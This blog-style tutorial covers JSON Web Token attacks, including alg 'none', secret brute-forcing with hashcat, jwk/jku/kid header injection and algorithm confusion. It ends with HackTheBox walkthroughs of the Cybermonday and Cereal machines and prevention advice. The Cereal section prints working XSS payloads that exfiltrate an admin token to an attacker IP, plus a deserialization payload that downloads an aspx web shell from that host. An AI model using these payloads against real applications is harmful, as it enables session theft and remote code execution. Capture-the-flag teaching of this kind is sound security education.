What is a JWT?#
JSON web tokens (JWTs) are a standardized way to send some kind of cryptographically signed JSON data between systems. They can really contain any kind of data but are often used to determine if a claim being sent by an application was sent by the real application.
Unlike session tokens, all this data is stored client-side within the JWT, which simplified interaction with back-end servers.
JWT Format#
The tokens consist of three parts: a header, a payload, and a signature. These can be easy to understand by using a site like JWT.io that visualizes the tokens.
The header and payload are just base64URL-encoded JSON objects where the header contains data about the token itself, the payload contains some actual claims about the user. For example:

In most cases this data is able to be easily read and modified, but the real security of this being used for anything important comes from its cryptographic signature.
JWT Signature#
The server that issues the token usually generates the signature by hashing the header and payload, and in some cases it will also encrypt the resulting hash. This helps the servers determine if the header or payload have been tampered with, because they can just verify that the signature matches the same operations performed on the header and payloads.
JWT - JWS - JWE#
The JWT specification is pretty limited, because it just defines the format for representing information as JSON that is transferred between two parties. JWTs are often extended upon by JWS (JSON web signatures) and JWEs (JSON web encryption) specifications. These two different specifications make using JWTs a lot more viable for real world use and most of the time JWT refers to either of these.
JWT Attacks#
As you might be thinking, if we can just change up that header and payload we could probably bypass some access controls here and there. Attacking JWTs usually means that we modify them in some way that we achieve this.
The impact of these attacks can be pretty severe because implementations of these tokens often have to do with authorization and authentication. If we can craft our own valid tokens we could escalate our privileges relatively simply.
These flaws usually come from implementation issues with how the target application handles the tokens. Usually the signature isn’t properly verified and we can pass other values into the token and get them signed or the key used to sign them is leaked somehow.
Flawed JWT Signature Verification#
Servers don’t typically store information about the JWTs that they issue because the tokens by themselves have all the information you’d need about how to use them. This means that the server often just verified the signature to determine the token’s authenticity, but that means flaws in that verification can be dangerous.
Imagine a JWT with the following payload:
{ "username": "gabe", "isAdmin": false }
If the server uses this username to determine the session, we might be able to impersonate other users or just change our isAdmin flag to true and see if that is able to escalate our privileges.
Accepting Arbitrary Signatures#
JWT libraries typically provide a method for verifying tokens and another method that decodes them. Every now and again a developer might confuse how these two methods work and might end up using a decode method instead of a verify method.
Accepting Unsigned Tokens#
Part of the JWT header is the alg parameter that tells the server which algorithm was used to sign the token and therefore which algorithm needs to be used to verify the signature.
This could be considered to be a design flaw because the user can determine how the server interprets the token in regards to which signature is used.
JWTs can be signed with a variety of algorithms but can also be left unsigned, in which case we could set alg to none and, if the server isn’t configured to reject it, we might be able to get an unsigned token accepted.
Brute-Forcing Secret Keys#
Some signing algorithms use an arbitrary string as a secret key. This is just like a password in the sense that if it is easily guessed or brute-forced it won’t be a good idea to use. Developers might make the mistake of forgetting to change default passwords in their JWT implementations, in which case we could probably guess the secret without issue.
You could crack these by just throwing in the entire JWT into hashcat using -m 16500 and a wordlist of your choice.
JWT Header Parameter Injection#
The JWS specification states that use of the alg header is mandatory, but there are other parameters that can be used. Here are a few of them:
jwk: Provides an embedded JSON object that represents a key.jku: Provides a URL where servers can fetch a set of keys.kid: Provides an ID that servers can use to get the correct key if multiple are used.
These parameters are all user-controllable, so we can sometimes use these to get the server to behave in a way that lets us sign our own keys or mess with how real keys are signed.
Injecting Self-Signed JWTs via jwk#
The jwk header lets you embed your public key directly into the token in JWK format:
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
Servers should try to use a whitelist of public keys but some misconfigured servers might just default to using the key embedded in the jwk parameter.
If we sign a modified JWT with our own private key and then placing the matching public key in the jwk header. The JWT Editor extension in burp makes this pretty easy to do.
Injecting Self-Signed JWTs via jku#
Some servers let you use the jku parameter instead, which is supposed to be a URL to reference a JWK set containing a key. When the server verifies the signature, it will fetch the relevant key from the URL you supply.
You can do this by first making your own RSA key and then hosting the following file on a server that you control. In this case the file is called jwks.json:
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "6a6c7180-bab1-45f4-89aa-e6f4963f7c0f",
"n": "tKOoxOhsHr3F1WS3DqR99k2X-_FpVxFWM3eDZ2CcsmKRQt08TR_fJhh-OflY3MYo9ZdN7AN7PxceVJp0LEAzJQFcNKOdNRccN5T_Xa7MSvWo38309_pwqTmRdDJMOGWi5GK8Y-ug8IRXfKbunEH42eL5Kzt7v1lQWigRq5EhkudpS-ixn3pFMeuFG6PexJqjCNfCmDKxqKTvMLVnchFPcLLjesJVGWGoN2OJT6yjaimV9dJm3JxUnTcEjQNqKvT6A-TLrottUdLNhWJx1ukC8EhxWf5D_dKQ9OZjXy9h-5jxiyJvKCpixjK4Q7kXoWCE0ikv6RGcp_PDlNsV5mI-DQ"
}
]
}
Then, sign your JWT token and modify the values how you’d like and add the jku parameter to the header like this:
{
"kid": "6a6c7180-bab1-45f4-89aa-e6f4963f7c0f",
"alg": "RS256",
"jku": "https://your-evil-server.net/jwks.json"
}
For this to work, your kid parameters need to match, so that when the server looks up your jku, they still see the key they are looking for. More secure websites will fetch keys from only trusted domains, but you might be able to use SSRF or URL parsing discrepancies to get around this.
Injecting Self-Signed JWTs via kid#
Servers that use multiple keys to sign different kinds of data and the header will contain a kid parameter to identify which key to use when verifying the signature.
The JWS specification doesn’t make you use the kid this way though, and you can use it for whatever you’d like technically. You might see it point to a path on the server like this:
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
This would be really dangerous if a symmetric algorithm is being used because we could point the kid value to some predictable file, which would effectively let us read files of our choice.
You could do this by first making a symmetric key and just leaving the k field blank. You can then modify the header of the token to point towards a file like /dev/null so that the k parameter and kid match. Then you can modify the token in whatever desired way and sign it.
Once these things have been done, the server looks for the kid and reads an empty file, which matches the way you signed it and so the verification process returns true.
JWT Algorithm Confusion Attacks#
We can perform algorithm confusion attacks (also sometimes called key confusion) when we can force the server to verify the signature of a JWT using an algorithm not intended by the application developers.
These kinds of issues normally arise because of flawed implementations of JWT libraries. Many libraries provide a single method for verifying signatures that rely on the alg parameter to determine which kind of verification should be performed.
Problems begin to arise when developers assume that their application will be exclusively handling JWTs signed using asymmetric algorithms like RS256, which will cause the pseudo-code to always pass a fixed public key like this:
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
This verify() function would be fine if it was only used with asymmetric keys, but if we were to pass through some symmetric algorithm like HS256 then the public key will be treated like an HMAC secret. This would mean that we can sign our own token using HS256 and the public key and the server will use the same public key to verify the signature.
Symmetric and Asymmetric#
JWTs can be signed with a variety of different algorithms, some of which are symmetric which means that the same key is used to encrypt and decrypt - and others are asymmetric which means that a public key is used to encrypt and a private key is used to decrypt.
Performing a Confusion Attack#
We need to get the public key used to encrypt the tokens, convert it to some usable format, make a malicious JWT with the alg header set to HS256, and sign the token with HS256 while using the public key as the secret.
One well-known standard endpoint to find these keys at is /jwks.json. You might also be able to extract the public key if you have a pair of JWTs.
Deriving a Public Key from Existing Tokens#
If the public key is not readily available, you might be able to derive the key from a pair of JWTs. There are a handful of open-source tools that can help you do this. Once you’ve derived a public key based on the two real tokens, then you can continue the steps for regular confusion attacks.
HTB - Cybermonday#
This machine starts with an nginx misconfiguration that lets us dump a Git repository. Analyzing the site’s various controllers allows us to determine that we can take advantage of a mass assignment vulnerability in order to get admin access on the site.
Once we’ve done this, we can add the webhooks-api-beta.cybermonday.htb subdomain to our hosts file and look around the API we have access to. The ones we are interested in here are /auth/register and /auth/login.
Once we use the API to register an account we can submit our username and password to the /login endpoint and we get a token back:

If we use Ffuf or some other similar directory enumeration technique on the API subdomain, we can find the jwks.json file:
╰─ curl http://webhooks-api-beta.cybermonday.htb/jwks.json
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
We can use this JWK iteration of the public key to try and kick off an algorithm confusion attack. We first need to transform this into a format we can use, I opted to use the JWT Editor extension in Burp Suite:

We want to modify the x-access-token that we got earlier so that we can create some objects at the webhooks endpoint. We have permission to view at the moment, but if we can create one, it allows us to perform more actions.
If we examine the access token that we were given, we see that it assigns us the user role:

We can just change this to admin and then use the Attack button built into the Burp Extension that will perform an algorithm confusion attack with our RSA key we imported earlier.

Submitting a request with this token works just fine and we are now able to make webhooks of our own using the API.
This works because the API is likely configures to verify an asymmetric signature, but when we use a symmetric algorithm like HMAC here, it causes the API to verify the HMAC secret with the public key.
HTB - Cereal#
This machine is meant to act as sort of a capstone of what we have learned so far, we should have to take advantage of multiple vulnerabilities we’ve gone over before.
We start out with a port scan and see that a web application is running on ports 80 and 443. We can add the cereal.htb and source.cereal.htb names to our hosts file.
After running directory enumeration on source.cereal.htb, we see a git repo is available for us to dump using something like git-dumper. Once we’ve downloaded it we can start examining the files:
╰─ ls -lh Git-Dump
total 76K
-rw-r--r-- 1 kali kali 158 Feb 6 19:55 ApplicationOptions.cs
-rw-r--r-- 1 kali kali 719 Feb 6 19:55 appsettings.Development.json
-rw-r--r-- 1 kali kali 677 Feb 6 19:55 appsettings.json
-rw-r--r-- 1 kali kali 546 Feb 6 19:55 CerealContext.cs
-rw-r--r-- 1 kali kali 3.5K Feb 6 19:55 Cereal.csproj
drwxr-xr-x 4 kali kali 4.0K Feb 6 19:55 ClientApp
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Controllers
-rw-r--r-- 1 kali kali 1.4K Feb 6 19:55 DownloadHelper.cs
-rw-r--r-- 1 kali kali 464 Feb 6 19:55 ExtensionMethods.cs
-rw-r--r-- 1 kali kali 1.3K Feb 6 19:55 IPAddressHandler.cs
-rw-r--r-- 1 kali kali 396 Feb 6 19:55 IPRequirement.cs
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Migrations
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Models
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Pages
-rw-r--r-- 1 kali kali 584 Feb 6 19:55 Program.cs
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Properties
drwxr-xr-x 2 kali kali 4.0K Feb 6 19:55 Services
-rw-r--r-- 1 kali kali 5.0K Feb 6 19:55 Startup.cs
Based on what limited experience I have with reverse engineering web applications, I looked into the /Controllers directory and the UsersControllers.cs file makes references to a service found in the /Services/UserService.cs file. The file contents here are our first sort of hint:
---SNIP---
public User Authenticate(string username, string password) {
using (var db = new CerealContext()) {
var user =
db.Users.Where(x => x.Username == username && x.Password == password)
.SingleOrDefault();
// return null if user not found
if (user == null)
return null;
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor {
Subject = new ClaimsIdentity(
new Claim[] { new Claim(ClaimTypes.Name, user.UserId.ToString()) }),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(
new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);
return user.WithoutPassword();
}
}
---SNIP---
This logic determines if the user exists in the database and returns true if their password matches the corresponding entry. After authentication is complete a JWT token is made but the key variable isn’t there.
I overlooked this at first, but when going over it a second time, decided to see if anything important was in the git commit history.
In this git commit history we see a few things, first to take note of is the JWT key that was redacted before:
diff --git a/Services/UserService.cs b/Services/UserService.cs
index 60f1b74..6e62360 100644
--- a/Services/UserService.cs
+++ b/Services/UserService.cs
@@ -30,7 +30,7 @@ namespace Cereal.Services
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
- var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
+ var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
The next thing we see is some explicitly mentioned deserialization-related security fixes:
commit 7bd9533a2e01ec11dfa928bd491fe516477ed291
Author: Sonny <sonny@cere.al>
Date: Thu Nov 14 21:40:06 2019 -0600
Security fixes
diff --git a/Controllers/RequestsController.cs b/Controllers/RequestsController.cs
index 276631a..1b1e183 100644
--- a/Controllers/RequestsController.cs
+++ b/Controllers/RequestsController.cs
@@ -37,6 +37,11 @@ namespace Cereal.Controllers
using (var db = new CerealContext())
{
string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
+ // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
+ if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
+ {
+ return BadRequest(new { message = "The cereal police have been dispatched." });
+ }
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
If we go back and investigate the file at /Controllers/RequestsController.cs, we will see that there is also some restriction of which IPs can be used. We can further trace this whitelisting back to the appsettings.json file to see what IP addresses are whitelisted:
{
"Logging": {
"LogLevel": {
"Default": "Warning"
}
},
"AllowedHosts": "*",
"ApplicationOptions": {
"Whitelist": [ "127.0.0.1", "::1" ]
},
"IpRateLimiting": {
"EnableEndpointRateLimiting": true,
"StackBlockedRequests": false,
"RealIpHeader": "X-Real-IP",
"ClientIdHeader": "X-ClientId",
"HttpStatusCode": 429,
"IpWhitelist": [ "127.0.0.1", "::1" ],
"EndpointWhitelist": [],
"ClientWhitelist": [],
"GeneralRules": [
{
"Endpoint": "post:/requests",
"Period": "5m",
"Limit": 2
},
{
"Endpoint": "*",
"Period": "5m",
"Limit": 150
}
]
}
}
The real task here is figuring out what to do with all this information. We know that deserialization and some kind of SSRF will need to be done soon but first let’s try and take advantage of the JWT logic and forge a token.
The Authenticate function basically does these high level steps:
- A JWT token is generated using
JwtSecurityTokenHandler - The token’s key is a hardcoded array of bytes
- The token’s claim contains the user ID
- The token is signed with HMAC-256
We can use the given code (and the dependency versions in the .csproj file) to make our own token-generator. I used .NET Fiddle and you can look at my code here.
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;
public class Program
{
public static void Main()
{
// Replace with your actual key
var key = Encoding.ASCII.GetBytes("your_secret_key_here");
var username = "testuser"; // Replace with the desired username
// Generate the JWT token
var tokenHandler = new JwtSecurityTokenHandler();
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[] { new Claim(ClaimTypes.Name, username) }),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
var tokenString = tokenHandler.WriteToken(token);
// Output the generated token
Console.WriteLine("Generated JWT Token:");
Console.WriteLine(tokenString);
}
}
Using this, we just need a username to make a real token. Thankfully, the git commits from earlier told us about a user called sonny. So we can use his account and the secret key to make a valid JWT.
We still need to figure out how the application wants us to serve this token though and we can find the answer to that question in the /ClientApp/src/_services/authentication.service.js file:
---SNIP---
return fetch('/users/authenticate', requestOptions)
.then(handleResponse)
.then(user => {
// store user details and jwt token in local storage to keep user logged in between page refreshes
localStorage.setItem('currentUser', JSON.stringify(user));
currentUserSubject.next(user);
return user;
---SNIP---
So, we can submit the currentUser token in local storage like this:

We can try to figure out what this site is actually doing with our input. From the outside, it just tells us we submitted a “Great cereal request!” but there is more going on.
The code available at AdminPage.jsx reveals that all this information that we submit gets rendered as markdown using the react-marked-markdown library. The package-lock.json file tells us that it is using version 1.4.6 which is vulnerable to XSS according to this advisory.
We can test to see if it works, although we will need to get it to call our to our IP address because it is probably viewed by some admin account. I ended up using this payload:
[XSS](javascript: document.write`<img src='http://10.10.14.8/gabe' />`)
This calls out to my python server after about thirty seconds so now we know that we can probably perform XSS somewhere in this exploitation chain.
If we look back at the deserialization protection we saw earlier, we can tell that it is designed to stop us from using ysoserial payloads when an object sent to the /requests endpoint is being deserialized. Specifically, it stops us from using some built-in objects that would make it a heck of a lot easier to get a shell.
So, we need to take advantage of objects that we have access to…
If we play around with the /requests endpoint, we are able to use POST requests to generate items just fine:

But trying to read these after creating them is something that the sonny user is not allowed to do:

This functionality is the same thing we saw on the front-end, which means that it should be vulnerable to that XSS we saw earlier. We know that the reason it gets triggered is because the admin page renders these requests in markdown.
If we want the admin’s token, we should be able to get it because it is probably kept in local storage in the browser just like ours has to be. So we can use the XSS to send the admin’s cookie to us.
We can use a JSON body like this:
"json":"{\"title\":\"[XSS](javascript: (function () {window.location.href=\\\"http://10.10.14.8:80/x\\\"+localStorage.getItem('currentUser');})(););\",\"flavor\":\"x)\",\"color\":\"x\",\"description\":\"x\"}"
This will give us the admin’s token that they use to access the web application, but it doesn’t seem to work for us when we are the ones replaying it.
To recap, so far we know that we can forge JWTs to access the application, take advantage of XSS to get the admin to make an arbitrary web request, we know that if we are to exploit a deserialization issue, we need to take advantage of an object that is already present.
If we read through the source for RequestsController.cs, we can see that if the request is coming from localhost (which we verified from the appsettings.json file), then it calls the JsonConvert.DeserializeObject function on the data located at the given request ID endpoint, like /requests/14.
We now know that we can submit a request with a deserialization payload in it and then make the administrator navigate to it to trigger that deserialization operation - we just need something for that payload to use to achieve some malicious behavior.
After more looking around we see the DownloadHelper.cs file which, as the name suggests, can download files to a certain path.
So, tying all of this together we can make an exploit strategy like this:
- Utilize the XSS to get an admin’s JWT.
- Submit a request that contains syntax that, once deserialized, will create a
DownloadHelperobject. - Use the same XSS vulnerability to trigger deserialization on our request, creating an object that downloads an
aspxshell from our machine. - We can then navigate to that endpoint and trigger commands.
We repeat the XSS to get an admin token as we did before, then get our deserialization payload stored:
"JSON":"{\"$type\":\"Cereal.DownloadHelper, cereal, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\",\"URL\":\"http://10.10.14.8/cmd.aspx\",\"FilePath\":\"c:\\\\inetpub\\\\source\\\\uploads\\\\gabe.aspx\"}"
We get the path in this payload from the source.cereal.htb landing page that exposes it as a valid path. The rest just pertains to the format laid out in DownloadHelper.cs. Once you submit this, take note of its request ID so we can call it with our XSS in the next payload.
We can trigger the deserialization with this payload:
{
"JSON":"{\"title\":\"[XSS](javascript:(function () {var x1=new XMLHttpRequest();x1.open('GET','https://cereal.htb/requests/19');x1.setRequestHeader('Authorization','Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3MDcyODExNjYsImV4cCI6MjAyMjkwMDM2NiwiaWF0IjoxNzA3MjgxMTY2fQ.aeMixop8H6zE6nzk2CBTaxu63XH5XU35HCcsW39gxh8');x1.withCredentials=true;x1.send();var x2=new XMLHttpRequest();x2.open('GET','https://10.10.14.8:80/trigger');x2.setRequestHeader('Authorization','Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3MDcyODExNjYsImV4cCI6MjAyMjkwMDM2NiwiaWF0IjoxNzA3MjgxMTY2fQ.aeMixop8H6zE6nzk2CBTaxu63XH5XU35HCcsW39gxh8');x2.withCredentials=true;x2.send();})();)\",\"flavor\":\"x)\",\"color\":\"x\",\"description\":\"x\"}"
}
Once you run these in order, you should get a download request for cmd.aspx being written in as gabe.aspx in my case. We can navigate to the https://source.cereal.htb/uploads/21098374243-gabe.aspx URL to interact with our web shell.
The prefix in the file name is because of how the Download object stores files:
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
}
}
}
Either way, we get our web shell:

I won’t go into privilege escalation for this machine because it goes out of the scope of what we have learned in this series, but man was this complicated. Can you believe this is a “Hard” machine and not insane? Crazy but awesome to see how it all worked out in the end.
Prevention#
You can protect your web applications against most of these attacks by following some high-level steps:
- Use up to date libraries for handling JWTs, ensuring that developers understand security implications of certain settings.
- Perform robust signature verification on any JWTs that you receive while accounting for edge cases.
- Enforce strict whitelists for the hosts in the
jkuparameter. - Make sure parsing errors don’t lead you to path traversal in the
kidheader parameter.